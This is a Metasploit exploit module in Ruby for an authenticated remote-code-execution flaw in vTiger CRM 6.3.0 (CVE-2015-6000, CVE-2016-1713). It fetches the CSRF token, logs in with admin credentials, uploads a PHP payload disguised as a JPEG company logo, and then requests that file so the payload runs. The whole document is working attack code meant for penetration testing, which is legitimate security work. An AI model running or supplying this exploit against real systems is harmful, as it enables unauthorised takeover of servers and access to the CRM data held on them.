|
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
run this code by accessing the resulting PHP file.
This module was tested against vTiger CRM v6.3.0.
},
'Author' =>
[
'Benjamin Daniel Mussler', # Discoverys
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
'SecureLayer7.net' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6000'],
['CVE','2016-1713'],
['EDB', '38345']
],
'DefaultOptions' =>
{
'Encoder' => 'php/base64',
'RPORT' => 8888
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['vTiger CRM v6.3.0', {}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 28 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])
])
register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])
])
end
def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })
unless res
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end
unless res.code == 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: #{$1}")
if $1 == '6.3.0'
return CheckCode::Vulnerable
else
return CheckCode::Detected
end
end
CheckCode::Safe
end
# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")
# Get Login now.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'module' => 'Users',
'action' => 'Login',
},
'vars_post' => {
'__vtrftk' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end
cookie = nil
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
cookie = res.get_cookies.split[-1]
end
unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
cookie
end
def exploit
cookie = login
unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
end
pay_name = rand_text_alpha(rand(5..10)) + ".php"
# Retrieve CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie
})
# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")
stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '
stager << payload.encoded
stager << ' ?>'
# Setting Company Form data
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token
post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")
post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")
post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")
post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")
post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")
data = post_data.to_s
print_status("Uploading payload: #{pay_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie,
'connection' => 'close',
'headers' => {
'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
'Upgrade-Insecure-Requests' => '1',
},
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
unless res && res.code == 302
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
# Cleanup file
register_files_for_cleanup(pay_name)
vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
})
if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")
end
end
end
|